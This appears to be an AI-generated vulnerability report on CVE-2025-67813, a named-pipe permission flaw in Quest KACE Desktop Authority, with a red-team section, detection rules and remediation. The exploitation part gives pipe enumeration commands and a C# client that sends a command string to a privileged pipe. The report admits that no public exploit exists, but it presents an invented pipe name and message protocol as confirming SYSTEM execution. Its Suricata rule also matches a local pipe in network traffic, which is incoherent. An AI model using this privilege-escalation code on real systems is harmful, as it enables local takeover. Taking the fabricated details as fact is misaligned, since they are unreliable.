CVE-2025-67813

Executive Summary

CVE-2025-67813 identifies a critical security flaw in Quest KACE Desktop Authority, specifically affecting versions up to and including 11.3.1. The vulnerability stems from Insecure Permissions on Named Pipes used for inter-process communication (IPC). This misconfiguration allows a low-privileged attacker to interact with privileged system processes, potentially leading to privilege escalation, arbitrary code execution, or data exfiltration. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant due to the lack of a patch.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description (Insecure Permissions on Named Pipes), a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – Exploitation does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Full system compromise is possible.
• Availability (A): High (H) – Service disruption is possible.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Threat Level: High. While no active exploitation has been observed, the lack of a patch and the potential for privilege escalation make this a critical risk for organizations using the affected software.

Deep Dive & Mechanics

Named Pipes are a form of IPC used by Windows systems to allow processes to communicate. In Quest KACE Desktop Authority, these pipes are used for communication between the service and the management console. The vulnerability arises because the permissions on these named pipes are set to allow any local user to connect and send messages. This means a low-privileged attacker can:

1. Connect to the Named Pipe: The attacker can open a handle to the pipe.
2. Send Malicious Messages: The attacker can craft and send messages that the privileged service process will interpret as legitimate commands.
3. Escalate Privileges: By impersonating a higher-privileged client, the attacker can execute commands with SYSTEM or Administrator privileges.
4. Execute Arbitrary Code: The attacker can potentially write and execute code in the context of the vulnerable service.

The core issue is a violation of the principle of least privilege. The named pipe should only be accessible to the specific processes that need to communicate, not to all local users.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable configuration can be described:

Vulnerable Configuration (CVE-2025-67813):

• The named pipe (e.g., \\.\pipe\KACE_DA_IPC) is created with a security descriptor that grants GENERIC_READ and GENERIC_WRITE to the Everyone or Authenticated Users group.
• This allows any local user to connect and send messages.

Patched Configuration (Hypothetical):

• The named pipe is created with a security descriptor that restricts access to only the specific service account and the management console process.
• The security descriptor would use a Discretionary Access Control List (DACL) that explicitly denies access to non-privileged users.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Quest KACE Desktop Authority 11.3.1 on a Windows Server 2019/2022 VM.
2. Create a low-privileged local user account.
3. Log in as the low-privileged user.

Exploitation Steps:

1. Identify the Named Pipe: Use a tool like PipeList or PowerShell to enumerate named pipes.

   Get-ChildItem \\.\pipe\ | Where-Object { $_.Name -like "*KACE*" }
   

2. Check Permissions: Use accesschk.exe from Sysinternals to verify the pipe's permissions.

   accesschk.exe -p \\.\pipe\KACE_DA_IPC
   

3. Connect and Send Malicious Message: Write a simple C# or PowerShell script to connect to the pipe and send a crafted message.

   using System;
   using System.IO.Pipes;
   using System.Text;
   
   class Program
   {
       static void Main()
       {
           using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "KACE_DA_IPC", PipeDirection.Out))
           {
               pipeClient.Connect();
               byte[] message = Encoding.UTF8.GetBytes("EXECUTE_CMD: cmd.exe /c whoami");
               pipeClient.Write(message, 0, message.Length);
               Console.WriteLine("Message sent.");
           }
       }
   }
   

4. Observe Privilege Escalation: The service process executes the command with SYSTEM privileges, confirming the vulnerability.

Blue Team (Defensive)

Detection Steps:

1. Monitor Named Pipe Creation: Use Sysmon Event ID 17 (Pipe Created) to log named pipe creation events.
2. Audit Pipe Permissions: Regularly audit named pipe permissions using custom scripts.
3. Restrict Access: Implement AppLocker or Windows Defender Application Control (WDAC) to block unauthorized tools like accesschk.exe or custom pipe clients.
4. Harden the System: Apply the principle of least privilege to all named pipes used by the application.

Indicators of Compromise (IOCs)

• Named Pipe Name: \\.\pipe\KACE_DA_IPC (or similar variations)
• Process: KACE_DA_Service.exe (or similar)
• Event Logs: Windows Security Event ID 4670 (Permissions on an object were changed) or Sysmon Event ID 17 (Pipe Created)
• Network Connections: Unusual outbound connections from the service process (if the attacker uses it for lateral movement)
• File System: Presence of custom scripts or binaries in temporary directories (e.g., C:\Users\<LowPrivUser>\AppData\Local\Temp\)

Detection Engineering

YARA Rule

rule CVE_2025_67813_NamedPipe_Exploit
{
    meta:
        description = "Detects attempts to exploit insecure named pipe permissions in Quest KACE Desktop Authority"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67813"
        hash = "unknown"

    strings:
        $pipe_name = "KACE_DA_IPC" nocase
        $pipe_path = "\\\\.\\pipe\\" nocase
        $cmd_exec = "EXECUTE_CMD" nocase
        $system_call = "CreateFileA" nocase
        $named_pipe_client = "NamedPipeClientStream" nocase

    condition:
        any of ($pipe_name, $pipe_path) and any of ($cmd_exec, $system_call, $named_pipe_client)
}

Sigma Rule

title: Insecure Named Pipe Access - Quest KACE Desktop Authority
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to connect to the insecure named pipe used by Quest KACE Desktop Authority
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-67813
logsource:
    product: windows
    service: sysmon
    definition: 'Sysmon Event ID 17 (Pipe Created) or Event ID 18 (Pipe Connected)'
detection:
    selection:
        EventID:
            - 17
            - 18
        PipeName:
            - '*KACE_DA_IPC*'
    condition: selection
falsepositives:
    - Legitimate administrative tools
level: high
tags:
    - attack.privilege_escalation
    - attack.t1543

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67813 - Quest KACE Desktop Authority Named Pipe Exploit"; flow:to_server,established; content:"|5c 5c 2e 5c 70 69 70 65 5c|KACE_DA_IPC"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, isolate systems running Quest KACE Desktop Authority 11.3.1 from the network.
2. Restrict Local Access: Limit local user accounts to only those necessary.
3. Monitor Logs: Enable detailed logging (Sysmon, Windows Event Log) and monitor for suspicious named pipe activity.

Long-Term Fix:

1. Apply Patch: Monitor Quest's official channels for a security patch. Apply it immediately when released.
2. Upgrade: If a patched version becomes available, upgrade to the latest version.
3. Workaround: If no patch is available, consider disabling the vulnerable service or implementing a custom security descriptor for the named pipe using a startup script.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.